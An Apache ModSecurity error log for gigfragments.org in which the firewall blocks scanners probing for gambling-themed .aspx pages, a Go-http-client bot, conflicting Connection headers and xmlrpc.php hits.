[Thu Jan 29 22:06:55.591774 2026] [:error] [pid 19071:tid 19135] [client 181.214.166.180:20392] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xo%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtpf5fa8Ix5wWmtmJyd-wAAAII"]
[Thu Jan 29 22:06:57.753656 2026] [:error] [pid 19069:tid 19092] [client 181.214.166.180:44362] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/z16%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpgfDHsRM4BJ9a4Qt9dQAAAA4"]
[Thu Jan 29 22:06:58.234061 2026] [:error] [pid 20519:tid 20558] [client 181.214.166.180:9599] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/z16%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtpggo4s4fyROrkyRn3MQAAAYo"]
[Thu Jan 29 22:28:19.092463 2026] [:error] [pid 20576:tid 20602] [client 47.90.227.150:37692] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXtugyrDZws_FlQGi9eG_gAAAdA"]
[Thu Jan 29 22:28:19.751648 2026] [:error] [pid 20486:tid 20508] [client 47.90.227.150:36778] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXtug3gqSZb6GBx5nnMV3QAAARM"]
[Thu Jan 29 22:43:24.211380 2026] [:error] [pid 19069:tid 19096] [client 43.153.86.78:46110] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXtyDPDHsRM4BJ9a4QuEbQAAABI"]
[Thu Jan 29 23:03:31.980720 2026] [:error] [pid 20576:tid 20588] [client 95.91.110.210:22940] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%94%E0%B8%B5.aspx"] [unique_id "aXt2wyrDZws_FlQGi9ePOwAAAcI"]
[Thu Jan 29 23:03:34.040001 2026] [:error] [pid 39863:tid 39887] [client 95.91.110.210:2754] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%81%E0%B8%97%E0%B9%88%E0%B8%87%E0%B8%AB%E0%B8%A7%E0%B8%A224%20net%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXt2xrsHJJGGu8set58aRAAAAVU"]
[Thu Jan 29 23:03:36.179625 2026] [:error] [pid 20578:tid 20633] [client 95.91.110.210:2766] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXt2yA6UX7yOMwQFiydRVwAAAhQ"]
[Thu Jan 29 23:03:38.797147 2026] [:error] [pid 19071:tid 19147] [client 95.91.110.210:2770] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXt2ypfa8Ix5wWmtmJysvwAAAI4"]
[Thu Jan 29 23:21:13.437913 2026] [:error] [pid 20519:tid 20551] [client 104.247.160.227:62292] [client 104.247.160.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.247.160.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXt66Qo4s4fyROrkyRkMbgAAAYM"]
[Thu Jan 29 23:57:02.694378 2026] [:error] [pid 20519:tid 20566] [client 43.135.186.135:47524] [client 43.135.186.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXuDTgo4s4fyROrkyRkTuwAAAZI"]
[Fri Jan 30 01:14:49.689814 2026] [:error] [pid 39501:tid 39522] [client 198.58.96.57:46190] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXuViS_BLgXFo3daaZi78wAAAA0"]
[Fri Jan 30 01:15:41.641538 2026] [:error] [pid 39783:tid 39808] [client 51.83.11.76:51416] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aXuVva51RNfzhKG5ppPCJAAAAFc"]
[Fri Jan 30 01:15:43.733086 2026] [:error] [pid 39502:tid 39549] [client 51.83.11.76:56118] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aXuVvwCUcXwXieepEYjs8wAAAI0"]
[Fri Jan 30 01:15:45.855164 2026] [:error] [pid 39503:tid 39569] [client 51.83.11.76:56132] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aXuVwTzoHqvQcupFdnbyHAAAAQY"]
[Fri Jan 30 01:15:48.099926 2026] [:error] [pid 39592:tid 39599] [client 51.83.11.76:56148] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aXuVxJlnGYODSsJUyHlA-AAAAMI"]
[Fri Jan 30 01:15:50.296495 2026] [:error] [pid 39501:tid 39510] [client 51.83.11.76:48302] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aXuVxi_BLgXFo3daaZi8tQAAAAE"]
[Fri Jan 30 01:15:52.339586 2026] [:error] [pid 39813:tid 39822] [client 51.83.11.76:48308] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aXuVyN_AaZSBkqpNK03fdQAAAUc"]
[Fri Jan 30 01:15:54.534117 2026] [:error] [pid 39592:tid 39606] [client 51.83.11.76:48322] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aXuVyplnGYODSsJUyHlBFAAAAMk"]
[Fri Jan 30 01:15:56.466210 2026] [:error] [pid 39813:tid 39815] [client 51.83.11.76:48326] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aXuVzN_AaZSBkqpNK03ffgAAAUA"]
[Fri Jan 30 01:15:58.743053 2026] [:error] [pid 39813:tid 39823] [client 51.83.11.76:33332] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aXuVzt_AaZSBkqpNK03fhgAAAUg"]
[Fri Jan 30 01:16:00.699587 2026] [:error] [pid 39503:tid 39567] [client 51.83.11.76:33348] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aXuV0DzoHqvQcupFdnbyOwAAAQQ"]
[Fri Jan 30 01:16:02.741651 2026] [:error] [pid 39783:tid 39800] [client 51.83.11.76:33358] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aXuV0q51RNfzhKG5ppPCXgAAAE8"]
[Fri Jan 30 01:16:04.773018 2026] [:error] [pid 39813:tid 39815] [client 51.83.11.76:33366] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aXuV1N_AaZSBkqpNK03fnAAAAUA"]
[Fri Jan 30 01:16:05.082208 2026] [:error] [pid 39783:tid 39809] [client 51.83.11.76:33376] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aXuV1a51RNfzhKG5ppPCawAAAFg"]
[Fri Jan 30 01:16:07.308976 2026] [:error] [pid 39503:tid 39578] [client 51.83.11.76:33388] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aXuV1zzoHqvQcupFdnbySwAAAQ8"]
[Fri Jan 30 01:16:08.566101 2026] [:error] [pid 39592:tid 39610] [client 51.83.11.76:36976] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aXuV2JlnGYODSsJUyHlBJQAAAM0"]
[Fri Jan 30 01:16:09.464353 2026] [:error] [pid 39783:tid 39805] [client 51.83.11.76:36984] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aXuV2a51RNfzhKG5ppPCeAAAAFQ"]
[Fri Jan 30 01:16:11.503986 2026] [:error] [pid 39503:tid 39576] [client 51.83.11.76:36996] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aXuV2zzoHqvQcupFdnbyVAAAAQ0"]
[Fri Jan 30 01:16:13.547390 2026] [:error] [pid 39501:tid 39530] [client 51.83.11.76:37008] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aXuV3S_BLgXFo3daaZi83wAAABU"]
[Fri Jan 30 01:16:15.781344 2026] [:error] [pid 39813:tid 39839] [client 51.83.11.76:37024] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aXuV39_AaZSBkqpNK03fygAAAVg"]
[Fri Jan 30 01:16:17.811686 2026] [:error] [pid 39502:tid 39546] [client 51.83.11.76:37036] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aXuV4QCUcXwXieepEYjtPwAAAIo"]
[Fri Jan 30 01:16:20.347010 2026] [:error] [pid 39502:tid 39543] [client 51.83.11.76:55670] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXuV5ACUcXwXieepEYjtRgAAAIc"]
[Fri Jan 30 01:16:22.555848 2026] [:error] [pid 39503:tid 39570] [client 51.83.11.76:55676] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXuV5jzoHqvQcupFdnbybwAAAQc"]
[Fri Jan 30 01:16:24.839046 2026] [:error] [pid 39813:tid 39835] [client 51.83.11.76:55688] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aXuV6N_AaZSBkqpNK03f6wAAAVQ"]
[Fri Jan 30 01:16:26.867892 2026] [:error] [pid 39503:tid 39565] [client 51.83.11.76:55692] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aXuV6jzoHqvQcupFdnbydgAAAQI"]
[Fri Jan 30 01:16:28.958135 2026] [:error] [pid 39501:tid 39528] [client 51.83.11.76:36236] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aXuV7C_BLgXFo3daaZi87gAAABM"]
[Fri Jan 30 01:16:31.102767 2026] [:error] [pid 39502:tid 39549] [client 51.83.11.76:36238] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aXuV7wCUcXwXieepEYjtVAAAAI0"]
[Fri Jan 30 01:16:33.250806 2026] [:error] [pid 39501:tid 39517] [client 51.83.11.76:36254] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aXuV8S_BLgXFo3daaZi9AAAAAAg"]
[Fri Jan 30 01:16:35.426141 2026] [:error] [pid 39813:tid 39834] [client 51.83.11.76:36262] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aXuV89_AaZSBkqpNK03gCwAAAVM"]
[Fri Jan 30 01:16:37.688239 2026] [:error] [pid 39502:tid 39554] [client 51.83.11.76:36270] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aXuV9QCUcXwXieepEYjtbwAAAJI"]
[Fri Jan 30 01:17:17.374566 2026] [:error] [pid 39592:tid 39600] [client 51.83.11.76:56704] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aXuWHZlnGYODSsJUyHlBsAAAAMM"]
[Fri Jan 30 01:17:19.052565 2026] [:error] [pid 39592:tid 39610] [client 51.83.11.76:46324] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aXuWH5lnGYODSsJUyHlBswAAAM0"]
[Fri Jan 30 01:17:20.734056 2026] [:error] [pid 39813:tid 39819] [client 51.83.11.76:46332] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXuWIN_AaZSBkqpNK03gZAAAAUQ"]
[Fri Jan 30 01:17:20.913609 2026] [:error] [pid 39592:tid 39603] [client 51.83.11.76:46344] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aXuWIJlnGYODSsJUyHlBtwAAAMY"]
[Fri Jan 30 01:17:22.849095 2026] [:error] [pid 39503:tid 39571] [client 51.83.11.76:46356] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aXuWIjzoHqvQcupFdnby_AAAAQg"]
[Fri Jan 30 01:17:22.940142 2026] [:error] [pid 39501:tid 39516] [client 51.83.11.76:46362] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXuWIi_BLgXFo3daaZi9bgAAAAc"]
[Fri Jan 30 01:17:24.888103 2026] [:error] [pid 39813:tid 39817] [client 51.83.11.76:46372] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXuWJN_AaZSBkqpNK03gawAAAUI"]
[Fri Jan 30 01:17:24.903607 2026] [:error] [pid 39783:tid 39797] [client 51.83.11.76:46380] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXuWJK51RNfzhKG5ppPDDgAAAEw"]
[Fri Jan 30 01:17:26.906518 2026] [:error] [pid 39502:tid 39550] [client 51.83.11.76:46386] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXuWJgCUcXwXieepEYjtywAAAI4"]
[Fri Jan 30 01:17:27.140068 2026] [:error] [pid 39813:tid 39819] [client 51.83.11.76:46396] [client 51.83.11.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aXuWJ9_AaZSBkqpNK03gcwAAAUQ"]
